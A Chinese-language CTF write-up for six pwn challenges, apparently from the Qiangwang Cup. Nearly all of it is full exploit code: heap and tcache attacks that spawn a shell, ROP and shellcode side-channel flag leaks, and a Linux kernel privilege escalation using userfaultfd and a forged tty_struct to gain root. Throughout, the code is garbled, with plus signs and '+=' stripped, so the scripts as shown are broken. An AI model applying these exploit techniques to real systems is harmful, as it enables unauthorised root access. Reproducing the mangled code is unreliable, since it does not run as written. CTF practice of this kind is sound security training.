线上赛撞了四六级麻了hhh
ban完一堆队伍之后喜提线下hhh
- orw
- no_output
- shellcode
- pipeline
- babypwn
- notebook
orw
堆有rwx权限,下标溢出写got函数为堆地址,在两个堆块上拼接shellcode调用read读入shellcode进行orw拿flag
代码语言:javascript复制from pwn import *
#p = process("./pwn", env={"LD_PRELOAD":"./libc-2.23.so ./libseccomp.so.0"})
p = remote("39.105.131.68", 12354)
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
def add(idx:int, size:int, content):
p.sendlineafter(b"choice >>n", b"1")
p.sendlineafter(b"index:n", str(idx).encode())
p.sendlineafter(b"size:n", str(size).encode())
p.sendafter(b"content:n", content)
def delete(idx:int):
p.sendlineafter(b"choice >>n", b"4")
p.sendlineafter(b"index:n", str(idx).encode())
def exp():
#gdb.attach(p, "b *0x0000555555554000 0xFE7ncn")
offset = (0x0000555555554000 0x2020E0 - 0x555555756018)//8
print("offset:", hex(offset))
shellcode_1 = '''
mov rsi, rdi;
xor rax, rax;
jmp $ 0x1a;
'''
shellcode_1 = asm(shellcode_1)
shellcode_2 = '''
xor rdi, rdi;
mov edx, ecx;
syscall;
'''
shellcode_2 = asm(shellcode_2)
print("len(shellcode_1):", hex(len(shellcode_1)))
print(shellcode_1)
print("len(shellcode_2):", hex(len(shellcode_2)))
print(shellcode_2)
add(-offset, 8, shellcode_1)
add(0, 8, shellcode_2.ljust(8, b"x90"))
delete(0)
orw = '''
push 0;
push 0x67616c66;
mov rdi, rsp;
mov rsi, 0;
mov rax, 2;
syscall;
mov rdi, rax;
mov rsi, rsp;
mov rdx, 0xff;
mov rax, 0;
syscall;
mov rdi, 0;
mov rsi, rsp;
mov rdx, 0xff;
mov rax, 1;
syscall;
'''
p.send(b"x90"*0x10 asm(orw))
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
no_output
这是个非预期解法,通过MIN_INT/-1触发异常handler实现栈溢出,构造ROP链借助check函数来侧信道爆破flag
代码语言:javascript复制from pwn import *
import time
elf = ELF("./test")
#context.log_level = "debug"
context.arch = "i386"
elf_open = elf.plt[b"open"]
elf_read = elf.plt[b"read"]
bss_secret = 0x804C034
flag_name = 0x804A0D3
bss_name = 0x804C060
table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?."
final_flag = b""
def exp(guess, c_idx):
global final_flag
global p
#p = process("./test")
p = remote("39.105.138.97", 1234)
# tell me some thing
p.send(b"a"*0x30)
# Tell me your name:n
p.send((b"x00"*8 b"f" b"x00").ljust(0x20, b"b"))
# now give you the flagn
# xxxx
# give me the soul:
p.sendline(b"-2147483648")
# give me the egg:
p.sendline(b"-1")
# handler stkof
#gdb.attach(p,"b *0x8049385ncn")
offset = 0x48 # to ebp
pop_edi_ebp_ret = 0x08049582
pop_esi_edi_ebp_ret = 0x08049581
pop_ebx_esi_edi_ebp_ret = 0x08049580
payload1 = b"a"*offset p32(0xdeadbeef)
payload1 = p32(elf_read) p32(pop_esi_edi_ebp_ret) p32(0) p32(bss_name 0x20) p32(5) # read(0, input_byte, 0x2)
payload1 = p32(elf_open) p32(pop_edi_ebp_ret) p32(bss_name 0x20) p32(0) # open(flag_name, 0)
payload1 = p32(elf_read) p32(pop_esi_edi_ebp_ret) p32(4) p32(bss_secret) p32(0xff) # read(fd, secret, 0xff)
payload1 = p32(elf_read) p32(pop_esi_edi_ebp_ret) p32(0) p32(bss_name) p32(2) # read(0, input_byte, 0x2)
payload1 = p32(0x80494d6) p32(bss_secret c_idx) p32(bss_name) # control check_flag()
p.send(payload1.ljust(0x100, b"x00"))
#time.sleep(0.5)
p.send(b"flagx00")
p.send(guess b"x00")
try:
p.recv(timeout=1)
final_flag = guess
print("Curr flag:", final_flag)
#pause()
p.close()
return True
except:
#print("Incorrect:", guess)
print("Curr flag:", final_flag)
p.close()
return False
if __name__ == "__main__":
for i in range(20, 40):
print("Round: ", i)
for c in table:
if exp(bytes([c]), i):
break
print("Curr flag:", final_flag)
#qwb{n0_1nput_1s_great!!!}
shellcode
模式切换shellcode,字符范围限制: (0x1f, 0x7f)
用点小技巧,先alpha_shellcode自覆盖解除字符限制,然后mmap两个低地址段分别给后续shellcode和栈(防止切换到x86后出现段错误)
orw的最后一步w用alarm实现,通过多线程时间侧信道爆flag
代码语言:javascript复制from pwn import *
import sys
import time
import threading
def exp(flag_idx:int):
#p = process("./shellcode")
p = remote("39.105.137.118", 50050)
#context.log_level = "debug"
context.arch = "amd64"
# build read
alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F"
payload = alpha_read
p.send(payload)
# read mmap shellcode
# mmap new shellcode area
time.sleep(0.2)
payload = b"x90"*0x50
shellcode_mmap_raw = '''
mov rdi, 0x100000;
mov rsi, 0x20000;
mov rdx, 7;
mov r10d, 0x22;
mov r8d, 0xffffffff;
mov r9d, 0;
mov rax, 9;
syscall;
mov rdi, 0x200000;
mov rsi, 0x20000;
mov rdx, 7;
mov r10d, 0x22;
mov r8d, 0xffffffff;
mov r9d, 0;
mov rax, 9;
syscall;
mov rdi, 0
mov rsi, 0x100000
mov rdx, 0x1000
mov rax, 0;
syscall;
call rsi;
'''
payload = asm(shellcode_mmap_raw)
p.send(payload)
#gdb.attach(p, "b *0x100001ncn")
# read new shellcode
time.sleep(0.5)
shellcode_to_x86 = '''
push 0x23;
push 0x100020;
retfq;
'''
shellcode_open = '''
mov esp, 0x210000;
push 0;
push 0x67616c66;
mov ebx, esp;
mov rcx, 0;
mov eax, 5;
int 0x80;
'''
shellcode_to_x64 = '''
push 0x33;
push 0x100050;
retf;
'''
shellcode_read = '''
mov rdi, rax;
mov rsi, 0x100000;
mov rdx, 0x40;
mov rax, 0;
syscall;
nop;
'''
char_addr = 0x100000 flag_idx
shellcode_alarm = '''
xor rax, rax;
mov al, byte ptr [{}];
//mov al, 0x3;
mov rdi, rax;
mov rax, 37;
syscall;
HERE:
jmp HERE
'''
payload = asm(shellcode_to_x86)
payload = payload.ljust(0x20, b"x90")
payload = asm(shellcode_open)
payload = asm(shellcode_to_x64)
payload = payload.ljust(0x50, b"x90")
payload = asm(shellcode_read)
payload = asm(shellcode_alarm.format(hex(char_addr)))
p.send(payload)
print("WAITING IDX: ", flag_idx)
start = time.perf_counter()
try:
p.recv()
except:
print("ALARM!")
end = time.perf_counter()
pass_time = int(end-start)
flag[flag_idx] = pass_time
print(flag_idx, "May be char:", bytes([pass_time]))
p.close()
if __name__ == "__main__":
pool = []
flag = [0]*0x26
for i in range(0, 0x26):
t = threading.Thread(target=exp, args=(i,))
pool.append(t)
t.setDaemon(True)
sleep(1)
t.start()
for t in pool:
t.join()
print("FLAG:", bytes(flag))
#flag{cdc31bf52a72521c93b690ad1978856d}
pipeline
隐蔽的堆溢出,通过设置append size为0x800000f0达到堆溢出的目的
代码语言:javascript复制from pwn import *
#p = process("./pipeline", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("59.110.173.239", 2399)
elf = ELF("./pipeline")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"
def add():
p.sendlineafter(b">> ", b"1")
def edit(idx:int, size:int, offset:int):
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"offset: ", str(offset).encode())
p.sendlineafter(b"size: ", str(size).encode())
def delete(idx:int):
p.sendlineafter(b">> ", b"3")
p.sendlineafter(b"index: ", str(idx).encode())
def append(idx:int, size:int, data):
p.sendlineafter(b">> ", b"4")
p.sendlineafter(b"index: ", str(idx).encode())
p.sendlineafter(b"size: ", str(size).encode())
p.sendafter(b"data: ", data)
def show(idx:int):
p.sendlineafter(b">> ", b"5")
p.sendlineafter(b"index: ", str(idx).encode())
# 0x0000555555554000
# header: 0x0000555555554000 0x4058
def exp():
#gdb.attach(p, "b *0x0000555555554000 0x18afncn")
# leak libc
add() #0
edit(0, 0x420, 0)
add() #1 split
edit(0, 0, 0)
edit(0, 0x420, 0)
show(0)
p.recvuntil(b"data: ")
libc_leak = u64(p.recv(6).ljust(8, b"x00"))
libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
system = libc_base libc.symbols[b"system"]
free_hook = libc_base libc.symbols[b"__free_hook"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("free_hook:", hex(free_hook))
# attack tcache
## get
add() #2
edit(2, 0x18, 0x17)
add() #3
edit(3, 0x20, 0)
add() #4
edit(4, 0x20, 0)
add() #5
edit(5, 0x20, 0)
## free
edit(5, 0, 0)
edit(4, 0, 0)
edit(3, 0, 0)
payload = b"a" p64(0x21)
payload = p64(free_hook) p32(0) p32(0x8) b"n"
append(2, -2147483408, payload)
append(3, 0x8, p64(system))
print("free_hook:", hex(free_hook))
edit(1, 0x8, 0)
append(1, 0x8, b"/bin/shn")
edit(1, 0, 0)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
babypwn
题出得有点莫名其妙,题目从堆块头遍历扫描x11
字符替换成x00
,遇到第一个x00
停止,造成了很明显的off-by-null,因此可以unlink构造overlap攻击tcache。然后往__free_hook
写setcontext 53
,借助setcontext 53
gadget调用mprotect给堆rwx后执行orw shellcode
from pwn import *
#p = process("./babypwn", env={"LD_PRELOAD":"./libc.so.6 libseccomp.so.2"})
p = remote("39.105.130.158", 8888)
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"
def unshiftleft(n , shift , mask = 0xffffffff):
res = n
temp = len(bin(n)[2:]) // shift 1
for _ in range(temp):
res = n ^ ((res << shift) & mask)
return res
def unshiftright(n , shift , mask = 0xffffffff):
res = n
temp = len(bin(n)[2:]) // shift 1
for _ in range(temp):
res = n ^ ((res >> shift) & mask)
return res
def dec(c):
for i in range(2):
c = unshiftleft(c , 13)
c = unshiftright(c ,17)
c = unshiftleft(c ,5)
return c
def add(size:int):
p.sendlineafter(b">>> n", b"1")
p.sendlineafter(b"size:n", str(size).encode())
def delete(idx:int):
p.sendlineafter(b">>> n", b"2")
p.sendlineafter(b"index:n", str(idx).encode())
def edit(idx:int, content):
p.sendlineafter(b">>> n", b"3")
p.sendlineafter(b"index:n", str(idx).encode())
p.sendafter(b"content:n", content)
def show(idx:int):
p.sendlineafter(b">>> n", b"4")
p.sendlineafter(b"index:n", str(idx).encode())
def exp():
# leak libc
for i in range(8):
add(0x80) # 0-7
add(0x20) # 8 split
for i in range(9,9 7):
add(0xf8) # 9-16
for i in range(8):
delete(i) # del 0-7
add(0x20) # 0
show(0)
libc_leak_low = int(p.recvuntil(b"n", drop=True).decode(), 16)
libc_leak_low = dec(libc_leak_low) & 0xffffffff
libc_leak_high = int(p.recvuntil(b"n", drop=True).decode(), 16)
libc_leak_high = dec(libc_leak_high) & 0xffffffff
libc_leak = ((libc_leak_high<<32) libc_leak_low) & 0xffffffffffff
libc_base = libc_leak - 0x3ebd20
free_hook = libc_base libc.symbols[b"__free_hook"]
setcontext = libc_base libc.symbols[b"setcontext"]
mprotect = libc_base libc.symbols[b"mprotect"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("free_hook:", hex(free_hook))
print("setcontext:", hex(setcontext))
# leak heap
add(0x80) # 1
show(1)
heap_leak_low = int(p.recvuntil(b"n", drop=True).decode(), 16)
heap_leak_low = dec(heap_leak_low) & 0xffffffff
heap_leak_high = int(p.recvuntil(b"n", drop=True).decode(), 16)
heap_leak_high = dec(heap_leak_high) & 0xffffffff
heap_leak = ((heap_leak_high<<32) heap_leak_low) & 0xffffffffffff
heap_base = heap_leak - 0x1240 0x2c0 # modify
print("heap_leak:", hex(heap_leak))
print("heap_base:", hex(heap_base))
# build overlapping
add(0xf8) #2 chain
add(0xf8) #3 chain
add(0xf8) #4
add(0xf8) #5
add(0x100) #6
add(0x90) #7 split
## fill tcache
for i in range(9,9 7):
delete(i) # del 9-16
edit(5, b"a"*0xf8)
edit(5, b"a"*0xf0 p64(0x200))
edit(6, b"a"*0xf0 p64(0) p64(0x21))
edit(7, p64(0) p64(0x91))
target = heap_base 0x1d10-0x2c0 # modify
edit(4, b"x00"*0xf0 p64(0x100))
edit(4, p64(target 0x20-0x18) p64(target 0x20-0x10) p64(target))
delete(6)
# link to __free_hook
add(0xf8) # 6 remove from tcache
add(0x1f8) # 9
delete(5) # del 5
edit(9, b"x00"*0xf8 p64(0x101) p64(free_hook))
add(0xf8) # 5 remote first of tcache
add(0xf8) # 10 free_hook
edit(10, p64(setcontext 53))
print("free_hook:", hex(free_hook))
# attack setcontext 53
#gdb.attach(p, "b freencn")
prepare = heap_base 0x20d0 - 0x2c0 # modify
add(0x200) # 11 prepare
frame = SigreturnFrame()
frame.rip = mprotect
frame.rdi = heap_base
frame.rsi = 0x20000
frame.rdx = 7
frame.rsp = prepare 0x100
payload = flat(list(frame.values())).ljust(0x100, b"x00")
payload = p64(prepare 0x110)
payload = payload.ljust(0x110, b"x90")
shellcode = '''
push 0;
//push 0x67616c66;
mov rax, 0x7478742e67616c66;
push rax;
mov rdi, rsp;
mov rsi, 0;
mov rax, 2;
syscall;
mov rdi, rax;
mov rsi, rsp;
mov rdx, 0xff;
mov rax, 0;
syscall;
mov rdi, 1;
mov rsi, rsp;
mov rdx, 0xff;
mov rax, 1;
syscall;
'''
payload = asm(shellcode)
print("length:", hex(len(payload)))
edit(11, payload)
delete(11)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
notebook
koo师傅和sad师傅打的,我在旁边加油hhh
exp.c
代码语言:javascript复制#include <sys/xattr.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/userfaultfd.h>
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <stdint.h>
int fd;
char *addr; /* Start of region handled by userfaultfd */
static int page_size;
//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0xffffffff81000000
int ptmx_fds[0x1000];
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
size_t MOV_CR4_RDI_POP_RBP=0xffffffff8101e9f0;
//swapgs ;pop rbp ; ret
size_t SWAPGS = 0xffffffff810637d4;
//0xffffffff810338bb: iretq; pop rbp; ret;
size_t IRETQ = 0xffffffff810338bb;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81a00929 22;
//commit_creds函数
size_t COMMIT_CREDS = 0xffffffff810a9b40;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xffffffff810a9ef0;
//push rax ; pop rsp ; ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810eed5a;
size_t SUB_RSP_RET = 0xffffffff8100354f;
size_t PUSH_RDI_POP_RSP_POP_RET = 0xffffffff8143f4e1;
size_t POP_RDI = 0xffffffff81007115;
size_t POP_RSP = 0xffffffff810bc110;
size_t POP_RAX = 0xffffffff81540d04;
size_t MSLEEP = 0xffffffff81102360;
size_t MOV_RDI_RAX_POP_RET=0xffffffff81045833;
void init_addr(size_t kernel_base) {
MOV_CR4_RAX =kernel_base - RAW_KERNEL_BASE;
//0xffffffff8101e9f0: mov cr4, rdi; pop rbp; ret;
MOV_CR4_RDI_POP_RBP =kernel_base - RAW_KERNEL_BASE;
//swapgs ;pop rbp ; ret
SWAPGS = kernel_base - RAW_KERNEL_BASE;
//0xffffffff810338bb: iretq; pop rbp; ret;
IRETQ = kernel_base - RAW_KERNEL_BASE;
swapgs_restore_regs_and_return_to_usermode =kernel_base - RAW_KERNEL_BASE;
//commit_creds函数
COMMIT_CREDS = kernel_base - RAW_KERNEL_BASE;
// prepare_kernel_cred
PREPARE_KERNEL_CRED = kernel_base - RAW_KERNEL_BASE;
//push rax ; pop rsp ; ret做栈迁移用
PUSH_RAX_POP_RSP = kernel_base - RAW_KERNEL_BASE;
SUB_RSP_RET = kernel_base - RAW_KERNEL_BASE;
PUSH_RDI_POP_RSP_POP_RET = kernel_base - RAW_KERNEL_BASE;
POP_RDI = kernel_base - RAW_KERNEL_BASE;
POP_RSP = kernel_base - RAW_KERNEL_BASE;
POP_RAX = kernel_base - RAW_KERNEL_BASE;
MSLEEP = kernel_base - RAW_KERNEL_BASE;
MOV_RDI_RAX_POP_RET = kernel_base - RAW_KERNEL_BASE;
}
void getRoot() {
//函数指针
void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
//commit_creds(prepare_kernel_cred(0))
(*cc)((*pkc)(0));
}
void getShell() {
printf("%dn",getuid());
if (getuid() == 0) {
printf("[ ]Rooted!!n");
system("/bin/sh");
} else {
printf("[ ]Root Fail!!n");
}
}
size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
__asm__("mov %cs,user_cs;"
"mov %ss,user_ss;"
"mov %rsp,user_sp;"
"pushf;"
"pop user_flags;"
);
puts("user states have been saved!!");
}
struct ARG{
long long idx;
long long size;
void * buf;
};
long long gift(int fd,int offset){
char buf[256];
struct ARG arg = {0,0,buf};
long long res=ioctl(fd, 100, &arg);
printf("gift return %dn",res);
return *( long long*)(buf offset*0x10);
}
long long add(int fd,long long idx,long long size,void* buf){
struct ARG arg = {idx,size,buf};
long long res=ioctl(fd, 0x100, &arg);
printf("add return %dn",res);
return res;
}
long long edit(int fd,long long idx,long long size,void* buf){
struct ARG arg = {idx,size,buf};
long long res=ioctl(fd, 0x300, &arg);
printf("edit return %dn",res);
return res;
}
long long del(int fd,long long idx){
printf("in deleten");
struct ARG arg = {idx,0,0};
long long res=ioctl(fd, 0x200, &arg);
return res;
}
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
/* Create a page that will be copied into the faulting region */
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
puts("mmap");
}
/* Loop, handling incoming events on the userfaultfd
file descriptor */
for (;;) {
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
puts("poll");
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!n");
exit(EXIT_FAILURE);
}
if (nread == -1)
puts("read");
/* We expect only one kind of event; verify that assumption */
if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfdn");
exit(EXIT_FAILURE);
}
/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
printf("write faultn");
sleep(1);
} else {
printf("read faultn");
char a[10]="sad";
edit(fd,0,0x600,a);
edit(fd,0,0x400,a);
fault_cnt ;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
printf("ioctl-UFFDIO_COPY");
}
/*
while(1){
printf("check uid %dn",geteuid());
sleep(1);
}
*/
}
}
int main(){
saveUserState();
long uffd; /* userfaultfd file descriptor */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
page_size = sysconf(_SC_PAGE_SIZE);
len = 4 * page_size;
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
puts("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
puts("ioctl-UFFDIO_API");
/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */
addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
puts("mmap");
/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
puts("ioctl-UFFDIO_REGISTER");
/* Create a thread that will process the userfaultfd events */
s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
errno = s;
puts("pthread_create");
}
fd = open("/dev/notebook", 2);
char a[10]="sadaaaaa";
add(fd,0,0x20,a);
//add(fd,0,0,addr);
edit(fd,0,0x3ff,a);
edit(fd,0,0x400,addr);
for(int i =0 ;i<0x100;i )
ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
size_t fake_tty_struct[128];
size_t fake_tty_operations[128];
printf("read size:%dn",read(fd,fake_tty_struct,0));
long long kernel_addr = *(unsigned long long *)(fake_tty_struct 3)-0xe8e440;
init_addr(kernel_addr);
add(fd,1,0x20,a);
edit(fd,1,0x20*8,a);
add(fd,2,0x50,a);
long long tty_operation_addr = gift(fd,2);
long long heap_addr = gift(fd,1);
size_t rop_addr = heap_addr;
fake_tty_struct[3] = tty_operation_addr;
fake_tty_struct[1] = SUB_RSP_RET;
fake_tty_struct[0x14] = POP_RSP;
fake_tty_struct[0x15] = rop_addr;
//fake_tty_struct[2] = rop_addr;
write(fd,fake_tty_struct,0);
printf("kernel heap addr: %pn",heap_addr);
printf("kernel kernel addr: %pn",kernel_addr);
//对tty_fd执行write,将触发这个gadget进行第一次转转移
fake_tty_operations[7] = PUSH_RDI_POP_RSP_POP_RET;
//栈再一次转移到rop数组里
size_t rop[0x20];
int i = 0;
/*rop同时关闭了smap、semp*/
rop[i ] = POP_RDI;
rop[i ] = 0;
rop[i ] = PREPARE_KERNEL_CRED;
rop[i ] = MOV_RDI_RAX_POP_RET;
rop[i ] = 0;
rop[i ] = COMMIT_CREDS;
rop[i ] = swapgs_restore_regs_and_return_to_usermode;
rop[i ] = 0;
rop[i ] = 0;
rop[i ] = (size_t)&getShell;
rop[i ] = user_cs;
rop[i ] = user_flags;
rop[i ] = user_sp;
rop[i ] = user_ss;
printf("ngetshell: %llxn",(size_t)&getShell);
write(fd,rop,1);
write(fd,fake_tty_operations,2);
//getchar();
//write(fd,fake_tty_operations,0);
for(int i=0;i<0x100;i ){
write(ptmx_fds[i],a,0x10);
}
return 0;
}